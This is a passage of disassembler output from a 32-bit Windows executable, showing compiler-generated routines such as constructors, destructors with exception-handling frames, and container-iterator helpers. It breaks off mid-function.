; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_414C70	proc near		; CODE XREF: sub_4011C7j
		push	esi
		mov	esi, ecx
		call	sub_401B45
sub_414C70	endp

; ---------------------------------------------------------------------------
		test	byte ptr [esp+8], 1
		jz	short loc_414C88
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_414C88:				; CODE XREF: ___:00414C7Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_414CA0	proc near		; CODE XREF: sub_401B45j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_414CA0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+54h]
		mov	[esp+14h+var_4], 3
		call	sub_401578
sub_414CA0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+10h], 2
		call	sub_401226
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+10h], 1
		call	sub_401226
		lea	ecx, [esi+15h]
		mov	byte ptr [esp+10h], 0
		call	sub_401226
		mov	ecx, esi
		mov	dword ptr [esp+10h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414D40	proc near		; CODE XREF: sub_4014BFj

var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_414D40
		push	eax
		mov	large fs:0, esp
		sub	esp, 40h
		push	ebx
		push	esi
		mov	esi, [esp+54h+arg_0]
		push	edi
		mov	edi, ecx
		lea	ebx, [esi+7Eh]
		lea	ecx, [edi+32h]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_414E3B
		sub	esp, 18h
		lea	eax, [esi+15h]
		mov	ecx, esp
		mov	[esp+70h+arg_0], esp
		push	eax
		call	sub_4014C9
		sub	esp, 18h
		mov	[esp+88h+var_4], 0
		mov	ecx, esp
		mov	[esp+88h+var_4C], esp
		push	offset byte_446F70
		call	sub_401861
		or	ebx, 0FFFFFFFFh
		mov	ecx, offset word_448C9E
		mov	[esp+88h+var_4], ebx
		call	sub_40210D
		test	al, al
		jz	loc_414F70
		push	0
		push	5
		push	19h
		push	2
		push	4
		push	0Fh
		push	0Fh
		lea	ecx, [esp+74h+var_3C]
		push	21h
		push	ecx
		call	sub_4019B5
		add	esp, 24h
		mov	edi, eax
		lea	ecx, [esi+69h]
		mov	[esp+58h+var_4], 1
		call	sub_4014D3
		push	eax
		mov	ecx, edi
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		lea	ecx, [esp+58h+var_3C]
		mov	[esp+58h+var_4], ebx
		call	sub_401226
		mov	al, 1
		mov	ecx, [esp+58h+var_C]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 4Ch
		retn	4
; ---------------------------------------------------------------------------


loc_414E3B:				; CODE XREF: sub_414D40+36j
		lea	ecx, [edi+4]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_414F70
		sub	esp, 18h
		lea	edx, [esi+54h]
		mov	ecx, esp
		mov	[esp+70h+arg_0], esp
		push	edx
		call	sub_4014C9
		sub	esp, 18h
		lea	eax, [esi+3Fh]
		mov	ecx, esp
		mov	[esp+88h+var_4C], esp
		push	eax
		mov	[esp+8Ch+var_4], 2
		call	sub_4014C9
		sub	esp, 18h
		lea	edx, [esi+15h]
		mov	ecx, esp
		mov	[esp+0A0h+var_48], esp
		push	edx
		mov	byte ptr [esp+0A4h+var_4], 3
		call	sub_4014C9
		sub	esp, 18h
		mov	ecx, esi
		mov	eax, esp
		mov	[esp+0B8h+var_44], esp
		push	1
		push	offset asc_443600 ; " "
		push	2
		push	eax
		mov	byte ptr [esp+0C8h+var_4], 4
		call	sub_4011EA
		sub	esp, 18h
		mov	byte ptr [esp+0D0h+var_4], 5
		mov	ecx, esp
		mov	[esp+0D0h+var_40], esp
		push	1
		push	offset asc_443600 ; " "
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4011EA
		or	ebx, 0FFFFFFFFh
		mov	ecx, offset word_448C9E
		mov	[esp+0D0h+var_4], ebx
		call	sub_40189D
		test	al, al
		jz	short loc_414F70
		push	0
		push	4
		push	5
		push	14h
		push	10h
		push	5
		push	3
		push	3
		lea	edx, [esp+78h+var_24]
		push	1Bh
		push	edx
		call	sub_4019B5
		add	esp, 28h
		mov	edi, eax
		lea	ecx, [esi+69h]
		mov	[esp+58h+var_4], 6
		call	sub_4014D3
		push	eax
		mov	ecx, edi
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		lea	ecx, [esp+58h+var_24]
		mov	[esp+58h+var_4], ebx
		call	sub_401226
		mov	al, 1
		mov	ecx, [esp+58h+var_C]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 4Ch
		retn	4
; ---------------------------------------------------------------------------


loc_414F70:				; CODE XREF: sub_414D40+82j
					; sub_414D40+10Dj ...
		mov	ecx, [esp+58h+var_C]
		pop	edi
		pop	esi
		xor	al, al
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 4Ch
		retn	4
sub_414D40	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415030	proc near		; CODE XREF: sub_40132Aj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_401EBA
sub_415030	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415070	proc near		; CODE XREF: sub_40171Cj

arg_0		= dword	ptr  4

		sub	esp, 8
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		mov	esi, ecx
		push	0
		push	0
		mov	al, [edi]
		mov	[esi], al
		call	sub_401EBA
sub_415070	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esi+4], eax
		push	ecx
		mov	ecx, edi
		mov	dword ptr [esi+8], 0
		call	sub_4016CC
		mov	edx, [eax]
		lea	eax, [esp+8]
		push	edx
		push	eax
		mov	ecx, edi
		call	sub_40113B
		mov	ecx, [eax]
		lea	edx, [esp+10h]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4012E9
		mov	eax, [eax]
		mov	ecx, esi
		push	eax
		call	sub_40172B
		mov	eax, esi
		pop	edi
		pop	esi
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4150F0	proc near		; CODE XREF: sub_401578j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401D89
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4012E9
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_401465
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_401CD5
sub_4150F0	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415160	proc near		; CODE XREF: sub_4012E9j

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		push	eax
		call	sub_40208B
		mov	ecx, [eax]
		mov	esi, [esp+8+arg_0]
		add	esp, 4
		push	ecx
		mov	ecx, esi
		call	sub_401DA7
		mov	eax, esi
		pop	esi
		retn	4
sub_415160	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4151A0	proc near		; CODE XREF: sub_401D89j

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	eax
		mov	ecx, esi
		call	sub_401DA7
		mov	eax, esi
		pop	esi
		retn	4
sub_4151A0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4151D0	proc near		; CODE XREF: sub_40147Ej

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_401D89
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_40215D
sub_4151D0	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415210	proc near		; CODE XREF: sub_401258j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_8]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401D89
		lea	ecx, [esp+10h+var_C]
		push	ecx
		mov	ecx, esi
		call	sub_4012E9
		lea	edx, [esp+10h+var_8]
		lea	ecx, [esp+10h+var_C]
		push	edx
		call	sub_401D5C
		test	al, al
		jz	short loc_415291
		push	edi
		mov	edi, [esp+14h+arg_0]


loc_415243:				; CODE XREF: sub_415210+7Ej
		lea	ecx, [esp+14h+var_C]
		call	sub_401FA5
		mov	eax, [eax]
		mov	ecx, [edi]
		cmp	eax, ecx
		jnz	short loc_415275
		lea	ecx, [esp+14h+arg_0]
		push	0
		push	ecx
		lea	ecx, [esp+1Ch+var_C]
		call	sub_40156E
		mov	edx, [eax]
		lea	eax, [esp+14h+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401FAF
; ---------------------------------------------------------------------------
		jmp	short loc_41527E
; ---------------------------------------------------------------------------


loc_415275:				; CODE XREF: sub_415210+42j
		lea	ecx, [esp+14h+var_C]
		call	sub_4020A4


loc_41527E:				; CODE XREF: sub_415210+63j
		lea	ecx, [esp+14h+var_8]
		push	ecx
		lea	ecx, [esp+18h+var_C]
		call	sub_401D5C
		test	al, al
		jnz	short loc_415243
		pop	edi


loc_415291:				; CODE XREF: sub_415210+2Cj
		pop	esi
		add	esp, 0Ch
		retn	4
sub_415210	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4152D0	proc near		; CODE XREF: sub_401E1Fj
		push	esi
		mov	esi, ecx
		call	sub_401EB5
		mov	eax, esi
		pop	esi
		retn
sub_4152D0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4152F0	proc near		; CODE XREF: sub_401FA5j
		mov	eax, [ecx]
		push	eax
		call	sub_401EFB
		add	esp, 4
		retn
sub_4152F0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415310	proc near		; CODE XREF: sub_4020A4j
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_40208B
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_415310	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415340	proc near		; CODE XREF: sub_401D5Cj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_4015CD
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_415340	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415370	proc near		; CODE XREF: sub_401F05j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_401C7B
sub_415370	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4153B0	proc near		; CODE XREF: sub_4011B8j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_402234
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401983
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40132F
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_401E1A
sub_4153B0	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415420	proc near		; CODE XREF: sub_401983j

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		push	eax
		call	sub_401249
		mov	ecx, [eax]
		mov	esi, [esp+8+arg_0]
		add	esp, 4
		push	ecx
		mov	ecx, esi
		call	sub_401CC6
		mov	eax, esi
		pop	esi
		retn	4
sub_415420	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415460	proc near		; CODE XREF: sub_402234j

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	eax
		mov	ecx, esi
		call	sub_401CC6
		mov	eax, esi
		pop	esi
		retn	4
sub_415460	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415490	proc near		; CODE XREF: sub_401EF1j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_402234
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401A96
sub_415490	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4154D0	proc near		; CODE XREF: sub_401924j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_402234
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401983
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40132F
		pop	esi
		add	esp, 0Ch
		retn
sub_4154D0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415520	proc near		; CODE XREF: sub_401154j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_8]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_402234
		lea	ecx, [esp+10h+var_C]
		push	ecx
		mov	ecx, esi
		call	sub_401983
		lea	edx, [esp+10h+var_8]
		lea	ecx, [esp+10h+var_C]
		push	edx
		call	sub_401AD7
		test	al, al
		jz	short loc_4155A1
		push	edi
		mov	edi, [esp+14h+arg_0]


loc_415553:				; CODE XREF: sub_415520+7Ej
		lea	ecx, [esp+14h+var_C]
		call	sub_4011D1
		mov	eax, [eax]
		mov	ecx, [edi]
		cmp	eax, ecx
		jnz	short loc_415585
		lea	ecx, [esp+14h+arg_0]
		push	0
		push	ecx
		lea	ecx, [esp+1Ch+var_C]
		call	sub_4010DC
		mov	edx, [eax]
		lea	eax, [esp+14h+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_4017DF
; ---------------------------------------------------------------------------
		jmp	short loc_41558E
; ---------------------------------------------------------------------------


loc_415585:				; CODE XREF: sub_415520+42j
		lea	ecx, [esp+14h+var_C]
		call	sub_4018B6


loc_41558E:				; CODE XREF: sub_415520+63j
		lea	ecx, [esp+14h+var_8]
		push	ecx
		lea	ecx, [esp+18h+var_C]
		call	sub_401AD7
		test	al, al
		jnz	short loc_415553
		pop	edi


loc_4155A1:				; CODE XREF: sub_415520+2Cj
		pop	esi
		add	esp, 0Ch
		retn	4
sub_415520	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4155E0	proc near		; CODE XREF: sub_401037j
		push	esi
		mov	esi, ecx
		call	sub_401E79
		mov	eax, esi
		pop	esi
		retn
sub_4155E0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415600	proc near		; CODE XREF: sub_4011D1j
		mov	eax, [ecx]
		push	eax
		call	sub_402126
		add	esp, 4
		retn
sub_415600	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415620	proc near		; CODE XREF: sub_4018B6j
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_401249
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_415620	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415650	proc near		; CODE XREF: sub_401AD7j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401EA6
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_415650	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415680	proc near		; CODE XREF: sub_401843j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_401DA2
sub_415680	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4156C0	proc near		; CODE XREF: sub_4014B5j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40114A
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4018F2
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_401401
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_401EF6
sub_4156C0	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415730	proc near		; CODE XREF: sub_4018F2j

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		push	eax
		call	sub_401BB8
		mov	ecx, [eax]
		mov	esi, [esp+8+arg_0]
		add	esp, 4
		push	ecx
		mov	ecx, esi
		call	sub_401D66
		mov	eax, esi
		pop	esi
		retn	4
sub_415730	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415770	proc near		; CODE XREF: sub_40114Aj

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	eax
		mov	ecx, esi
		call	sub_401D66
		mov	eax, esi
		pop	esi
		retn	4
sub_415770	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4157A0	proc near		; CODE XREF: sub_401406j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_40114A
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401CFD
sub_4157A0	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4157E0	proc near		; CODE XREF: sub_401C62j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40114A
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4018F2
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_401401
		pop	esi
		add	esp, 0Ch
		retn
sub_4157E0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415830	proc near		; CODE XREF: sub_402130j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_8]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40114A
		lea	ecx, [esp+10h+var_C]
		push	ecx
		mov	ecx, esi
		call	sub_4018F2
		lea	edx, [esp+10h+var_8]
		lea	ecx, [esp+10h+var_C]
		push	edx
		call	sub_401339
		test	al, al
		jz	short loc_4158B1
		push	edi
		mov	edi, [esp+14h+arg_0]


loc_415863:				; CODE XREF: sub_415830+7Ej
		lea	ecx, [esp+14h+var_C]
		call	sub_40135C
		mov	eax, [eax]
		mov	ecx, [edi]
		cmp	eax, ecx
		jnz	short loc_415895
		lea	ecx, [esp+14h+arg_0]
		push	0
		push	ecx
		lea	ecx, [esp+1Ch+var_C]
		call	sub_401EA1
		mov	edx, [eax]
		lea	eax, [esp+14h+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401078
; ---------------------------------------------------------------------------
		jmp	short loc_41589E
; ---------------------------------------------------------------------------


loc_415895:				; CODE XREF: sub_415830+42j
		lea	ecx, [esp+14h+var_C]
		call	sub_40118B


loc_41589E:				; CODE XREF: sub_415830+63j
		lea	ecx, [esp+14h+var_8]
		push	ecx
		lea	ecx, [esp+18h+var_C]
		call	sub_401339
		test	al, al
		jnz	short loc_415863
		pop	edi


loc_4158B1:				; CODE XREF: sub_415830+2Cj
		pop	esi
		add	esp, 0Ch
		retn	4
sub_415830	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4158F0	proc near		; CODE XREF: sub_402252j
		push	esi
		mov	esi, ecx
		call	sub_401E29
		mov	eax, esi
		pop	esi
		retn
sub_4158F0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415910	proc near		; CODE XREF: sub_40135Cj
		mov	eax, [ecx]
		push	eax
		call	sub_4017DA
		add	esp, 4
		retn
sub_415910	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415930	proc near		; CODE XREF: sub_40118Bj
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_401BB8
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_415930	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415960	proc near		; CODE XREF: sub_401339j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_40144C
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_415960	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415990	proc near		; CODE XREF: sub_40113Bj

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		push	eax
		call	sub_40208B
		mov	ecx, [eax]
		mov	esi, [esp+8+arg_0]
		add	esp, 4
		push	ecx
		mov	ecx, esi
		call	sub_401753
		mov	eax, esi
		pop	esi
		retn	4
sub_415990	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4159D0	proc near		; CODE XREF: sub_4016CCj

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	eax
		mov	ecx, esi
		call	sub_401753
		mov	eax, esi
		pop	esi
		retn	4
sub_4159D0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415A00	proc near		; CODE XREF: sub_40215Dj

arg_4		= byte ptr  8

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_401C4E
		mov	edi, eax
		push	edi
		call	sub_401104
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_401EBA
sub_415A00	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_401104
		push	edi
		mov	[eax], ebx
		call	sub_401104
		mov	edi, [eax]
		push	edi
		call	sub_401104
		mov	ecx, [eax]
		push	ecx
		call	sub_40208B
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_401EFB
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_402194
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		mov	esi, [esp+14h]
		mov	ecx, esi
		call	sub_401DA7
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415AA0	proc near		; CODE XREF: sub_40172Bj

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= byte ptr  0Ch

		push	esi
		mov	esi, ecx
		lea	eax, [esp+4+arg_8]
		lea	ecx, [esp+4+arg_4]
		push	eax
		call	sub_401CA8
		test	al, al
		jz	short loc_415AED
		push	edi
		mov	edi, [esp+8+arg_0]


